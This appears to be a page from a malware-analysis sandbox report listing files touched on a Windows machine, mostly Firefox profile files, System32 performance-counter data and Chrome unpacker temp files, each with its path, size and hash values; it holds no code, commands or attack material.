Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\datareporting\glean\pending_pings\be18bab3-6830-4eec-b7ef-dc451ceca190
Size 2KB
SHA256 a0127f876d240ef605bbfdebb85e0487ebd338f7cf8349713118bb98d41e7377
MD5 8b47db2938cd9c6e0e1752a1ab9eb4d7
SHA1 9ecd8084ba4d8f27202ea8386abac03d9264eed8
SHA512 7eb600991f221660ffec5e4f648f9c2835fd4866dfe3dfa30fc943ba2a36b59f2d746c0a84e902d4305f99354b6fa41e1c7660c02f479675df0a8cebf01355c8
TLSH
T1EE41135C35785D7B8CDAF24D945223CD5764991304C618C32E52FF0C8D9669D23AB92B
MD5 SHA1 SHA512 TLSH

Submit Download

be2d1224-9307-4cb3-9c4a-fafabd555e21

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\datareporting\glean\pending_pings\be2d1224-9307-4cb3-9c4a-fafabd555e21
Size 931B
SHA256 0add58b94e1173f83043cade3f82e67c63681f261790bd1d855f292aa395e1e3
MD5 3293b1f062ee05d905785e79d63e90d9
SHA1 f91bdcb91d12dcd19cceda62668bc40e396a1166
SHA512 dc1398715e442665edf82027f0d5da00257116f09635c966ff987f1873231a723822e0c6b0cd331b41b5c3554a3951bfa82a8e3918d61069df42a51dd0ba8626
TLSH
T19C11E190CE74B4B6CDBCD28B95A277514BE4702380CA04147D645F1C0DAA51E5796A17
MD5 SHA1 SHA512 TLSH

Submit Download

d212a080-e2c4-47bf-9e17-01fc61239d38

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\datareporting\glean\pending_pings\d212a080-e2c4-47bf-9e17-01fc61239d38
Size 883B
SHA256 8727f6902a7d09675c3bb6357bbd252e62da756983c4528f8824a0647163effd
MD5 02f58a8853d075321f54cc1571dafc05
SHA1 9f5aa3531f5ee6c52b1b6611aa5328d623155e93
SHA512 47589cb73b10cb17ddee4c3084782614819f5644edab4f1367dfa42573801dd30bd707f932f258250815bc5357658902f98702ee0eba992cf3777c4a6641b6d3
TLSH
T147110084E674B5B6CD68D24F8A9237454BF87423C0CD44147EA05E180EBE61E979671B
MD5 SHA1 SHA512 TLSH

Submit Download

da54bfd4-ec3e-4293-8058-ce66f3facae1

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\datareporting\glean\pending_pings\da54bfd4-ec3e-4293-8058-ce66f3facae1
Size 15KB
SHA256 bebb82fe368ad8ce5b7c02a3127debaa2e9b2639060386c9a3ab6cd8b36f1b03
MD5 f88fc9bc792d30e8f7e002f981f41255
SHA1 30d636dc4667af8174d4795a1843c81509638fca
SHA512 d056430053dac5a23beb2e848721194cad8c06b08fc1e3605c45f7034963d8b2af60e682ece2cbce3c57950cd3374a118007c89a686465bef88833c5e8c92475
SSDEEP 192:6nSap/ouTZYHlF38UPJ+rTKhrCLarFQv35+A7iC/USz9Kv4MNE1IFBHIZ1Ma:nqQQYHl/k4A7iAUSBKgm27Ma
TLSH
T1BE62E856646049BE8650E368D8EC7FC7E2F118CB4C029FCE9BD4BE0859EE0AD5127C4B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

extension-preferences.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\extension-preferences.json
Size 942B
SHA256 aecfc11c0db969b2c79da2144415a8859c77d66fbfc37ca4924ac58a0ff29834
MD5 20357ec0806e9826d6daf456b6b16bd8
SHA1 7d5d7a921213989294eb5cea2ee760e562ce5293
SHA512 2333fde606ee727a6b6d9812ed40e56e5d0dba4ec35abcc11b67f8ad61d1d3d4af5db699d29b3ed6b459b9e142badae69ffbebf18974b5a1c72e45ecc8cf93cf
TLSH
T17211F13A640B6EB01E8E5625FE384A92E791111B50B7F2E47E69934A13D3970C1ED39C
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\extensions.json
Size 16KB
SHA256 d54d094e8557519635d26a47163f16c9ec6bbdc96a239fef6a860f100a86556c
MD5 0da69e6085c177e0ff80f91cbe771ec5
SHA1 1deeaa5d6783eb45fcab5fc7582481d8d2c1a14b
SHA512 1eb23374c9be60dde7eeee9b24da7303510a2dd9e5183552d13a8c36c4b6620183cc2e8916a611750e9b025cf9e95cbacc7ef51cf538d27200f3231ed6f24283
SSDEEP 384:ISkI4v5UmldvG8dhW094zM96o+L4HXqL4PCL4HPL4HeL4HwV4h4:8I4BRfLXd486P4I444z4E444q
TLSH
T11172421545049EB8298FA79BAA367E01C37D533B60845C78F4DD8FC802FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
MD5 SHA1 SHA512 TLSH

Submit Download

widevinecdm.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\gmp-widevinecdm\4.10.3050.0\widevinecdm.dll
Size 21.6MB
SHA256 f1216e26ee8c27f938d7722427d29f190e569ed83d0ba16ea872cae684b97602
MD5 d14dd3f0107ff91c3e21f301d83f82b0
SHA1 f61d7d687c9d4b3b6a6c9c0f5610025b5d3f4e45
SHA512 de745c2ff8440d72c5616a88fc56918f4aa7de202c8c4cd7fd026d5eebebde6ee97a3a8a76f331da4c03042b7d87ba8dc2eda40bb475fb47e56df5c2795cf97d
SSDEEP 393216:bYXajn9L4mghF5QDwW0LmruPCB78HYUUZBKvq9PW1gL2hoHH:emghF5QDwWCm/2YU8Ivq9u5K
TLSH
T14E37F18AF36350A8D84E9DF0426EAA72D0743C4E03359AEF17D47B315A727C06A79F16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 6KB
SHA256 39e782df52a0cb6eb495f6400c09c67b9f5d1593065a2ae979ab9e9e2267d51c
MD5 ecb8b85aa93785ab55b17c95dfb79a66
SHA1 7c04aeaf3af43accae06aa97f4dc89087bd1037c
SHA512 9389a6dd9940df7f3e84b6024204fbfd88ffcbfb361a96cb913654f27375647c1877111becb141c86c4a5d0cf6c572644653dfd8df45c31832732566b748f987
SSDEEP 96:xHvUTUNqGqCf93mQ1zSpYSSlvdv9jbnsRHrDqBw88u8L4cn+VLe5t:9ARCf93mQoYSSK9rGBw8800t
TLSH
T1E8E10F7895088B7F64B6776CAC6888316AB2013BBBBF28D750B954C5050CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 12KB
SHA256 bb72fdbb0e806ad99b3b4dc5ba29e0c70a958adefa4715b3fe47c613c87eb055
MD5 f4352d780a4256d63577a31090065ebf
SHA1 6993bac13c6751644900a0f98fb14fd8bf7fa32a
SHA512 26d7697191c4e285debfb8f092f0ddc5a71d9ebcd88eaa4eceb11ed0da001b0e685d1778022d1edd22d80711124566408ac2a8e71ac45113a01718ba06cfb3cb
SSDEEP 192:y9RCfIul3mQ3YSSKXLRuXOBw88nEeI5io4bt:Dn/RPw0qd
TLSH
T16942BD3C9104CB7F20B6327DAD254A6019A10227B6BFBCE716F9A4D2454CF3541FAAE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 6KB
SHA256 903e0f5963fcfb3975b93503d14d68e2251b781091b831d7d17060ad8829dd4a
MD5 ddf447666335fcdba21d6ce6bb51eaf9
SHA1 d4bd13f61b93375ee4d7825164aacdb85791cacc
SHA512 a2da5ccee54aedb1fcecf83f62cebe9118e321a170421027ff9b44907f39452260481cb13de5f2710f97bfd5cd0b03ee999730ad07d9972257fa0ee1c8d86ff1
SSDEEP 96:xHvUTUNqGqCf96N1zSpYSSlvdv9jInsRHrDqBw88u8L4cn+VLe5t:9ARCf96NoYSSL9rGBw8800t
TLSH
T198E10F7895088F7F64B6776CAC6888315AB2013BBBBF28D750B954C5051CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 8KB
SHA256 99dce42b36222684cd0e0ede27ed2238179dbfbd63febf836e45981ddb5b8977
MD5 8330973f0a99165ed5c5ca28c3fc4845
SHA1 54639ab4e19b918e3ae0562bb0f6f841c00b87d4
SHA512 5e1450e984e5fe5e4c80dffff287780a89bf2f1f2f12febca12d0e2ec18119801741ea864b6110271d076b0bb2cb413fb5e8b7ad6db90ff20aa5a4e85e1efb81
SSDEEP 96:xHvZTUNqGqCfIul3mQObzSpYSSlvdv9jbnsRWRKfDFjBw88Udx8L4cn+VLe5t:99RCfIul3mQ3YSSK8RulBw88Ud50t
TLSH
T13502ED3C9108CF7F64B6766CAC2489315AB2023BB6BF68D710BA54C5054CF3441FAAEB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 6KB
SHA256 8b23dfaae4f9957fd40561dfa04d015affd560cce8c61dc944647e52421b603a
MD5 ade8940a23f6f7fc795c02f41dfb89fc
SHA1 99b6cf8cd5500d97997881e4ce72cd82cc9fbd31
SHA512 85d22d68c865424cda1b87f73a404c9f2bbd6c796560c0729aeab9c49b0c0ddc224e9da1a29c6c83e7dced89f339366fefac189989f8b9606f1b42e8c5fe2b81
SSDEEP 96:xHvUTUNqGqCf93mQObzSpYSSlvdv9jbnsRHrDqBw88u8L4cn+VLe5t:9ARCf93mQ3YSSK9rGBw8800t
TLSH
T1E3E1107895088F7F64B6776CAC6888316AB2013BBBBF28D750B954C4010CF3442F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs-1.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs-1.js
Size 12KB
SHA256 7e6a57e7f5237d886f1dac89877cc66bb7c1d05515eb0be06c88f52d876130cf
MD5 87a5249db5f8cafbe781eb52f9be1069
SHA1 13e2bf6ab1b235f583c5b819d0fa93b1892660d9
SHA512 4034d9121ddaf41eef88bb5746f371905adc6dd65502e6ae35950139f4110f0d3991c9e654ebdde7766e560da95b40cfb4666f5d97f10f5891f32c2269255491
SSDEEP 192:y9RCfIul3mQ3DSSJXLRunOBw886mfTG7LK1t:Dn1Rnwrak
TLSH
T1AA529C3C5104CBBF21FA327DAC214A6029A10627B77FBCE605B9A4D2444DF3941F6AE7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs.js
Size 6KB
SHA256 7cf8b35db720c72269e19dc476783750614ce899c6b15a706860fca4e7029698
MD5 eac73cf58ee2a52bb53b574a4ce113a7
SHA1 37b941839f0da945af8734fc57580c3f39ec3a47
SHA512 8306f80492e6e8a015b7083aa38ad52ca08ed6f44d7d09c2f51ad0045c1a62071fa89b73d931213b8ab9a36d476af4220fe0ed5b80298c6c2c51a89e3f7f48db
SSDEEP 96:xHvUTUNqGqCf96N1zSJ8SSlvdv9jInsRHrDqBw88u8L4cn+VLe5t:9ARCf96Ns8SSL9rGBw8800t
TLSH
T188E1117895088F7F64B6776CAC6888315AB2013BBBBF28D750B954C4051CF3842F96EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

prefs.js

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\prefs.js
Size 7KB
SHA256 d9ae847c453c54a53732da11c1f666b5fd4e039b19cd34f9db7423d60f3235e2
MD5 20b1f434be4e8482895b626bb94d629e
SHA1 f82f86227560eea8806fd806a2acb5fef58e81d6
SHA512 af68532beb43992d5cbc2120955dd6cbc1720f44204d122690882f2d795ef043410c9470f2796db5cd449f3816e540fd6e922c4dcb85252324c3d30d28099354
SSDEEP 96:xHvZTUNqGqCf93mQObzSpYSSlvdv9jbnsRHrDqBw8898L4cn+VLe5t:99RCf93mQ3YSSK9rGBw88t0t
TLSH
T140F10E789108CB7F64B6766CAC2489315AB2013BB7BF68D710BA54C5450CF3842FA6EB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 21a94870a26cafe42bdc85f19ee48fa301c512d94f57a0ac86b0f439135f5038
MD5 a82af431fd951c41db3a734dc4c18362
SHA1 ab05ceb1f37d649338d9ac283fae278acf6572bb
SHA512 aa229de08b4dcd37cfe6af07c31a6752fb7d2bc7acb8850049648f4c41608696501329f902ba4dde28f4a0c4aeafda8100a3687ec7cb6f3ff01d296e700fdd82
TLSH
T14F714B93880E7FA57B306AE4809D6A64D8B860B241705DD4906A8B22522D7BDB2092BD
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.baklz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\sessionstore-backups\recovery.baklz4
Size 3KB
SHA256 3b00d5e9eb9b76677b0732caed3f504b0b84c714bf9cefa87d5373538febc527
MD5 a695287e5351763bf9637614f0ab1db1
SHA1 1464ac0e6453937a144f1a0499aedaf0c2b7b6cb
SHA512 c0d4cfde65fc66c3a9526436a89f556881aa2724db8f04c87479e015fce6b7871e670a36ff658425f4f0c4328af1dfdcd2f2f2aa772546fbcab0b336359744d0
TLSH
T1BC817D83850F7FE47B3066A4809DBB64D9642CA245248E94D06EFF62853D7ED714D3BC
MD5 SHA1 SHA512 TLSH

Submit Download

recovery.jsonlz4

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\sessionstore-backups\recovery.jsonlz4
Size 3KB
SHA256 c8e168bbd33696c5ff9be20d58ec4bca560a1e4216eac43304d0c6eae67e55df
MD5 d2d2f713a27934331989666bdd996226
SHA1 633433062405ed3cc04feeb5df858aacfacb13df
SHA512 bee017ec7383c8d9a86054dba09f077ebea35915d4a32e85b0bed91045c15ea40c935c24d2985278b24bd0d63564b3a32a89c77c26191e429f6c25c20c01ff07
TLSH
T13F815B93840F3FE57B306BE8809DAA64D86864A245345D949069EF22413D7AD72093BD
MD5 SHA1 SHA512 TLSH

Submit Download

3870112724rsegmnoittet-es.sqlite

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite
Size 5.4MB
SHA256 0e34e29c35afbfbc63e6ba1f97c769d8c5f79bb97e55639a5a9ca35bba7d170f
MD5 32538a784a59af0c65be17ede3201018
SHA1 6dba1f6adb29b70183b6c31a122f93a92c389862
SHA512 36692c62f40a6781e584603298e7e14525f8e3ac1537b9ff64c597b39c19bc888718990d67c6766313b9f22171eb879d8d41cc1378f013e6459dc2f96cb733c7
SSDEEP 49152:p3qHfgdhf1WjYWwQFdAvHTq7SDBWSXqSP:FjfyCvH27S1WSX5
TLSH
T18F4629E860D1A257F3814073724993EB21EFD00D5037DE085BA95AE9A474CEF8E17B7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

xulstore.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\m209tzjd.default-release\xulstore.json
Size 169B
SHA256 dab87e54a3ba429ee107f91bea3b07036080554ca4ca06e46076c2c149f61aa3
MD5 21a53625ce61969d15b322c001974bb0
SHA1 561441390cd00ba54f278ba399671a8b8ff128bb
SHA512 3ab784c5f3e6459112aff9cc77451a840a45bd8ea020303ed269855b8a855847e4a60382afea2f8bdea3d78c383df9f65b6ca208f7ccbe7994d3e2bcc51d5b12
TLSH
T18FC08CF013AEA8087D34EBCF16CD33903E79844491D0621A7AEA9CA018C870F9918389
MD5 SHA1 SHA512 TLSH

Submit Download

perfc007.dat

Path C:\Windows\System32\perfc007.dat
Size 154KB
SHA256 2d21b2544ee0f19b3fc76dcef44efd15d75535117bfe6cc9a437dfa6a7f38a2e
MD5 7571ac27833618565fc1b17af1f335b1
SHA1 a3d23c3ac0f998006b1c05745ee5abae9b421cac
SHA512 70a76b6c1f6faf8db7a1c1a16e9423c65e60ff818370e2e48aa236c5524b51cdf01e9eef760c2f015f20ff69cc71eb8e833f91ffc2a898dc5bb7225c0e970d2c
SSDEEP 3072:wb+j2tTPhtqgG+Hf5Rz5YjO3QzTTCoigI1WZz40NI0brFKnH2M7Pqs0egeS:2oigII
TLSH
T128F304500BE9051DF2F7AF38AAF65042AE6AFDA6BE31D81D1150128E0572E11DC79B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc009.dat

Path C:\Windows\System32\perfc009.dat
Size 131KB
SHA256 63cc5dee207f7a2ad7e0ce1481e94eba46605534db16ad33da4fc61417235265
MD5 a02cb7687ef092f9248898930c20d35d
SHA1 1800951f108214a878c3244425ca97c0d183160b
SHA512 4cdb00132cf59036dabc1fd65483ff60f5af34f087ebdddc98da1b8feaa8a69a01b213783e7d30c7ff6d2096661f3707983002b395398f06ada7b1d30668a49a
SSDEEP 3072:Xdd4jjO8PzT3hoKgIOWIr40lW0v2RjSsp237/q8cKV7Y:koKgIz
TLSH
T1AED3BEA55BF81018F2F77F3CAAF650529E2ABD66AE31C41D01A0124F0572E12DDB973E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00A.dat

Path C:\Windows\System32\perfc00A.dat
Size 160KB
SHA256 3c29f5c8d53ddbe70904a77242a381d0f23c3959b2bb63716aa0cc26f9ddb41c
MD5 5d4565ddf8334e6e1d2f2b58d4bc8b77
SHA1 4d7285ea58fbc63f68febf307d82bb43e09a2454
SHA512 73a2e433e3a5e539d4e9bdd923c1ce7b73aa0595543ee9e92ea21b7fe1bbaf71adc9b61fe43cbd64995119904c677f74e9162cd88372d905d2fe4a0f80e441db
SSDEEP 3072:XL7SjORMzTdGoZgIpWhI40uK0uMb217wqtT3qk8:poZgIE
TLSH
T1E7F377505AF80216F2F3BF38AAFA55165E3ABD56AD36C42D0160124E0DB2F11DC78B3B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc00C.dat

Path C:\Windows\System32\perfc00C.dat
Size 154KB
SHA256 837321e62eb33a423a247237742e3bfda181e250fcabb3c686e5e0992a5ee920
MD5 27496f5e05b90441df9222732ebbe81c
SHA1 2947f5af8496bde963fa2ede5313dd4c4b560cd8
SHA512 343afb119a6e14eeb83ecf4db42beefdb8e829bdd04d2344c5aa1cead1040db29ac24331e60c83de0f07cb36eb305e5c16951dae9351ab23be09743592a37189
SSDEEP 3072:/kDtTckjO6QzTU1okgIaW3V40vH0YkbB2U75q4bXfhm:/KokgIJ
TLSH
T17CF39A945BF90115F2F7BF38A9FA11029E6ABD5BAD32C41D0191018E48B2F51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfc010.dat

Path C:\Windows\System32\perfc010.dat
Size 144KB
SHA256 0f5f838113b2bbf023c71561b39380cd40a1881d24c96da7d4152ea82d947900
MD5 2350f01595ba09fd16eedc1d19adb905
SHA1 f9397132272fa9c4d57f0949aef5b52166562663
SHA512 26159fc5962e02e886c49be7a58a5a8360856b1fdc432a96c443acf7c5a36ebc7312a30b183f7ca3de61a999ae463247af68649d5b3c2bf3edcbfe6b4549da1e
SSDEEP 3072:0A67APdGk9jOpFzTbZo9gIEW0c40ve0yvz2O7YqOj9lXF:uo9gIF
TLSH
T135E3AAA16BF81108F2F77F38A9B951125E3EBE66AD35C42D01A1018F0972E51DCB973B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh007.dat

Path C:\Windows\System32\perfh007.dat
Size 726KB
SHA256 8c406001c8f53f5886969775f7178c1cef2d2cdec664f8a3d04c050ef837a6cd
MD5 a2ff838b0f9a74c47bd2eaca6dfd7b56
SHA1 3eb30dd75685c023c8ef6d9cb99dc5aee24ff406
SHA512 65799eef0af87ff7e866b2a39f3c435ddb93aa17987abd467c306fc082516f19f55510d94f64291f09a1d4b194ab5d106e756390aee54c38b4524576e1463d60
SSDEEP 3072:MfpwBxTEsmVUwN8EBNjcbWhSILPDtzcSx2A8q1JuqaBYrSrSQYCxlFdj9J2hSF1V:rZzzORs1JX
TLSH
T104F4C86153EA8618F2F77F64AEB812A46E62BCE2BD79D60D1250109E0C71F40CDB4B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh009.dat

Path C:\Windows\System32\perfh009.dat
Size 688KB
SHA256 3bab5967d2ac8b0f8ddc0b210694d7172b20213c19b2d3588059c893cfd1d592
MD5 0793133d828b3d3b22fb5ddafaabf4b4
SHA1 c3e2eb8cfec42e3c9e7def52a498a336e45210b8
SHA512 10d961928116af0b96650607fa1c6d93c53ac4371fd66ac3970736f0cc5fc1a2872dc2a455a51d0787c0ebbaaa42a7e8924a2026a95e45f66437f56dd8e2a5f3
SSDEEP 3072:ZUqGrdowz4j0PrRZnpETMsZ8M6d0PHCWsnxJfVF6shlOE3XcGBloOZs1GoYOdGo8:f8M6d06WsnyOZs13e
TLSH
T116E4799167FD4608F2F73F64A9B916A45E7ABCA6FC79C25C1250005E4AB2E50CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00A.dat

Path C:\Windows\System32\perfh00A.dat
Size 769KB
SHA256 879e1268b9de3e0ddf9bfe4c3115c57b5ae6149f1ef1b1a3131c0d66ae125b8b
MD5 d1f123662a9be30633e79ff172e80f60
SHA1 fe5904c5f2ad1f37bfee356e403ee410e77e21c5
SHA512 caab875e9ac8fdd183d5962f5e8a312386d92c1a69517000d140e703088bee395a90f4bb25f969d12093defffc46415fde32ef986f29f154da8656d88851b704
SSDEEP 3072:F2Gx7F17Fetjvt2JYH8QncegungPlZaJQ8E9F6sWOE37wrBuO7s1pYOmqOpatjaK:otjvtuMnpngPlZavzO7s1pYOm45Z
TLSH
T152F40F5067F9560AF6F77F19A9B91A654E7ABD92EC39C11C0220019E0EB1F84CD78B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh00C.dat

Path C:\Windows\System32\perfh00C.dat
Size 770KB
SHA256 68cd2620bd7be883a883a800255e6afa5a63d94732db0b11616b867007538365
MD5 3faf6a679b49ecca2c747ad22413f572
SHA1 89005ef75ca38cd0ec2e292bc5619d04c4fb13fe
SHA512 d152b82d59610a921d2b976264ace4412c72626e5edda6116c2790deb3d2d986e7d07d30ee9199beec97fdebb3f14e5c6e0b8e6f594be6d151c5d57426184f83
SSDEEP 3072:8eeo6JpGytgOiPIny4auTsQO2I70IeMsCnSRwERwpZR9DNtflhzxxjAgiblQH4cY:meH1AgkSBORs10B9Jb
TLSH
T1BBF42E60A7FA5209F6F73F64A8B915654E6B7D96EC39C21C0250009E1DB2F94CDB8B33
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh010.dat

Path C:\Windows\System32\perfh010.dat
Size 744KB
SHA256 679d96bc257f43b36fa7c89c91f4bd0eccefc60efeab6689ee1d4833e6fb078c
MD5 4566575408d4bfcb2ee4df8f3f92499e
SHA1 cf90b96e0a49cdb2c284c75157ea4111b7d4e41a
SHA512 b439f9800db8900110258b8a962e4cfab12d6df056ad7823e6c4b2c483ee5dbe377df5dcd9abbd32f06f4c66d935324e0ac91411000f8a873241be8ca2ffe88a
SSDEEP 3072:g48gxoowjkUXxL8d8Zj/v9GLcr+c98ov+pmPxHHtZVbRKI3F6sOOE3/BROMs1VxS:FCj/v9GLcnHtknOMs1Vx0fJunDV3Z+
TLSH
T1A5F44362A7FD5608F6F77F54A97916654E3ABE96AC39C22C0260009E0D72F54CCB0B37
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

perfh011.dat

Path C:\Windows\System32\perfh011.dat
Size 448KB
SHA256 0577bcea9238cb73bce83b64d66672a98c6838489ab87a9299e45e04fb2222de
MD5 fca9f0c19a5544c6a69ed8524169fa46
SHA1 edff2ba75565628e26df2baebcf96c01d72e9aae
SHA512 d7cabd367f1156515c37c883f8e248833ebccfd26127ed95d1c26535f5b12e3e9f996d179b70637993211775986cf7319d4b090cc16929e5a1860460a7cfb851
SSDEEP 3072:6ZS3MD1H7gVmRwNT01ZmX0RZKFZwF6s9OE3LB2/7SsxOOs1TzOh7tjLy0lfPJ/w5:kS3jmRwuc0RZYOOs1Tkuj
TLSH
T127A4B78836E8060DF2F77F64A5B520A02E6EFD65ADBAC56C1550408F0971E48CEB5B3F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WmiApRpl.h

Path C:\Windows\System32\wbem\Performance\WmiApRpl.h
Size 3KB
SHA256 ae2b6236d3eeb4822835714ae9444e5dcd21bc60f7a909f2962c43bc743c7b15
MD5 b133a676d139032a27de3d9619e70091
SHA1 1248aa89938a13640252a79113930ede2f26f1fa
SHA512 c6b99e13d854ce7a6874497473614ee4bd81c490802783db1349ab851cd80d1dc06df8c1f6e434aba873a5bbf6125cc64104709064e19a9dc1c66dcde3f898f5
TLSH
T17561011D8E8A416EDA7E36A95C2C192419B5FE770AC058EF317DBCDF0D4A80A24D352F
MD5 SHA1 SHA512 TLSH

Submit Download

WmiApRpl.ini

Path C:\Windows\System32\wbem\Performance\WmiApRpl.ini
Size 29KB
SHA256 c20b11dff802aa472265f4e9f330244ec4aca81b0009f6efcb2cf8a36086f390
MD5 ffdeea82ba4a5a65585103dd2a922dfe
SHA1 094c3794503245cc7dfa9e222d3504f449a5400b
SHA512 7570527fdae4818f0fc780f9f141ab6a2d313cc6b3fdb1f7d7ff05d994ad77d3f8d168b1d77c2555d25dc487d24c18f2cc0eab505d1dd758d709f2576aac1a8a
SSDEEP 384:eso3V1/z21+byTLVh4+rCop/g4kg4491T91XFrw4G4xvrtZ9dyu+2V0DrtcYkcTu:esoW/g4kg4oG4J
TLSH
T1F3D2201267F94158F2F66F98AAF594775A73BEE66D38D1AC01A0031E09E1E40CDB13B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Other

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_1605653545\Mu\Other
Size 34B
SHA256 2b4a47b82cbe70e34407c7df126a24007aff8b45d5716db384d27cc1f3b30707
MD5 cd0395742b85e2b669eaec1d5f15b65b
SHA1 43c81d1c62fc7ff94f9364639c9a46a0747d122e
SHA512 4df2ce734e2f7bc5f02bb7845ea801b57dcf649565dd94b1b71f578b453ba0a17c61ccee73e7cff8f23cdd6aa37e55be5cb15f4767ff88a9a06de3623604fbf0
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping2776_439743312\LICENSE
Size 1KB
SHA256 3dbd2c90050b652d63656481c3e5871c52261575292db77d4ea63419f187a55b
MD5 ee002cb9e51bb8dfa89640a406a1090a
SHA1 49ee3ad535947d8821ffdeb67ffc9bc37d1ebbb2
SHA512 d1fdcc436b8ca8c68d4dc7077f84f803a535bf2ce31d9eb5d0c466b62d6567b2c59974995060403ed757e92245db07e70c6bddbf1c3519fed300cc5b9bf9177c
TLSH
T17D31535723840B9306DA2B4566AEBDC4B0DDC02D7F27AE05186EF394537B52ED8B3443
